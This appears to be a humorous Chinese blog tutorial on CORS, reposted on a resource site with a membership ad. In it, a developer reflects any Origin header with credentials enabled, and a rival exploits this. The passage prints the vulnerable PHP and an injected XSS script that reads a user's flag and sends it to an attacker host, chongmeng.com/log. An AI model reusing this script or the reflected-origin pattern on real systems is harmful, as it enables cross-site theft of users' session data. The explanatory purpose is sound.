htf的cors跨域之旅

htf一直在维护一个网站,b.com。b.com中存在接口get_userinfo.php可以获取到用户的敏感信息’flag’,代码如下。

//http://b.com/get_userinfo.php <?php session_start(); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>//http://b.com/generate_userinfo.php <?php session_start(); if(!isset($_SESSION['flag'])) { $_SESSION['flag']=rand(); }?>

现在a.com——与b.com都是同样属于无法溯源组织的另一网站,因为一些功能需要访问b.com的/get_userinfo.php 接口以获取用户的flag对用户进行认证,这时候就需要在b网站上使用cors,允许来自a网站的访问。于是聪明的htf修 改了b.com/get_userinfo.php的代码:

//http://b.com/get_userinfo.php <?php session_start(); //允许来自a.com的请求 header('Access-Control-Allow-Origin: http://a.com'); header('Access-Control-Allow-Credentials: true'); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>

同时,htf在a.com的网页中使用了如下代码来获得用户在b.com的信息

     <script> var xmlhttp = new XMLHttpRequest(),     method = 'GET',     url = 'http://b.com/get_userinfo.php'; xmlhttp.open(method, url, true); xmlhttp.withCredentials = true; xmlhttp.onload = function () { //显示返回的内容     alert(xmlhttp.response) };xmlhttp.send(); </script> 

测试一下:正常访问b.com的get_userinfo.php

通过访问a.com的get_b_userinfo.html访问b网站的接口:

什么东西都没有,htf不禁皱了一下眉头,黑客的直觉告诉他事情没有这么简单。他打开百顺前两天发给他的burp钻石豪华版,准备抓个包一探究竟

抓包发现,js请求b.com的报文中并没有带上b.com的cookie,因此b.com没法通过session获得用户的flflag,自然也 没法返回数据。再打开Chrome的控制台,一行洋文映入眼中

经过十几年的学习,htf早已具备了使用翻译软件的能力,他光速打开翻译网站

设置了与上的跨站点资源关联的cookie,但未设置“SameSite”属性。它已被阻止,因为Chrome现在仅在跨站点请求中将Cookie设置为“SameSite=None”和“Secure”时才发送。您可以在“应用程序”>“存储”>“Cookies”下的开发人员工具中查看Cookie,并在030592和上查看更多详细信息。

谷歌

“samesite cookie?”,htf继续搜索

Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪。SameSite-cookies是一种机制,用于定义cookie如何跨域发送。这是谷歌开发的一种安全机制,并且现在在最 新版本(Chrome Dev 51.0.2704.4)中已经开始实行了。SameSite-cookies的目的是尝试阻止CSRF(Crosssite request forgery 跨站请求伪造)以及XSSI(Cross Site Script Inclusion (XSSI) 跨站脚本包含)攻击。详细 介…..

谷歌

尽管大部分内容都没有看懂,但是通过阅读htf知道这samesite是chrome浏览器独有的属性,因此他简单的修改了一 下网页,修复了这个问题:

网页也如他所期望的获得了弹出了flag

cors跨域_跨域cors使用说明_跨域cors策略阻止

十年之后 我们是朋友 还可以问候 只是那种温柔 再也找不到拥抱的理由..

斗转星移,十年过去了,时间带走了htf帅气的容颜,也带去了htf过人的智慧,却不曾为htf带来一个女友。随着无法溯源的壮大,他们旗下多出了无数的网站c.com, d.com, e.com…. 为了便于管理,htf将他们统一放到了wufasuyuan.com下,作为wufasuyuan.com的子域名 这些网站虽然都没什么用,但他们都需要获取b.com的用户数据,因此b.wufasuyuan.com/get_userinfo.php的代码 就变成了这样

//http://b.wufasuyuan.com/get_userinfo.php <?php session_start(); $origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : ''; if($origin=='http://a.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://a.wufasuyuan.com'); }else if($origin=='http://c.wufasuyuan.com') 

{ header('Access-Control-Allow-Origin: http://c.wufasuyuan.com'); }else if($origin=='http://d.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://d.wufasuyuan.com'); }else if($origin=='http://e.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://e.wufasuyuan.com'); }else if($origin=='http://f.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://f.wufasuyuan.com'); }else if($origin=='http://g.wufasuyuan.com') { header('Access-Control-Allow-Origin: http://g.wufasuyuan.com'); }else if($origin=='http://h.wufasuyuan.com') {//省略.................... header('Access-Control-Allow-Credentials: true'); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>

维护这样一份代码是很困难,更不要说htf每天日理万机,根本没有时间去维护。于是htf便想出一个方法,直接读取 请求中的origin头,并将它包含在响应头中

//http://b.wufasuyuan.com/get_userinfo.php <?php session_start(); $origin = isset($_SERVER['HTTP_ORIGIN'])? $_SERVER['HTTP_ORIGIN'] : ''; header('Access-Control-Allow-Origin: '.$origin); header('Access-Control-Allow-Credentials: true'); if(isset($_SESSION['flag'])) { echo "{'flag':".$_SESSION['flag']."}"; }?>

这样一来,任何来自任何网站的请求都可以访问b.wufasuyuan.com的内容,htf从此免去了维护这份列表的负担。

铳梦也是一名黑客,尽管没有htf(人称黑土匪)黑,但技术是一流的。一天他来到了无法溯源的某个子域下,发现自己的浏览器通过与b.wufasuyuan.com通信获取自己的敏感数据,黑客 的第六感让他意识到这里也许可以探索一下。他打开他的burp——白金豪华版,开始测试:首先他发送了一个正常包,一切正常

接着铳梦将Origin字段修改为无法溯源的其他子域,同样正常返回

Origin: c.wufasuyuan.com 

他继续将Origin修改为一个不存在的子域名

Origin: htfsb.wufasuyuan.com 

服务器依旧返回了他的flag。

最后,他又将Origin修改为自己的域名

服务器的Access-Control-Allow-Origin也返回了自己的域名。铳梦马上意识到这是一个cors跨域漏洞,他把这个漏洞 写成了一个简单的报告并附上了修改意见,交给了无法溯源src。htf的反馈也十分迅速:

跨域cors使用说明_跨域cors策略阻止_cors跨域

在无法溯源src受到了侮辱的铳梦十分生气,他决定利用一下这个漏洞,让htf吃点苦头。首先他使用黑客技术在百度主站挖到了一个xss,任何打开百度主页的人都将受到攻击

他植入了以下代码,让任何浏览器中存有wufasuyuan.com的cookie的人打开百度都将被窃取账号中的flag:

<script> var xmlhttp = new XMLHttpRequest(),     method = 'GET',     url = 'http://b.wufasuyuan.com/get_userinfo.php'; xmlhttp.open(method, url, true); xmlhttp.withCredentials = true; xmlhttp.onload = function () {var xmlhttp2 = new XMLHttpRequest(),     method = 'GET',    url = 'http://chongmeng.com/log?data='+xmlhttp.response;     xmlhttp2.open(method, url, true);     xmlhttp2.withCredentials = true;     xmlhttp2.send(); };xmlhttp.send(); </script>

第二天:

跨域cors策略阻止_跨域cors使用说明_cors跨域

限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: lzxmw777

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注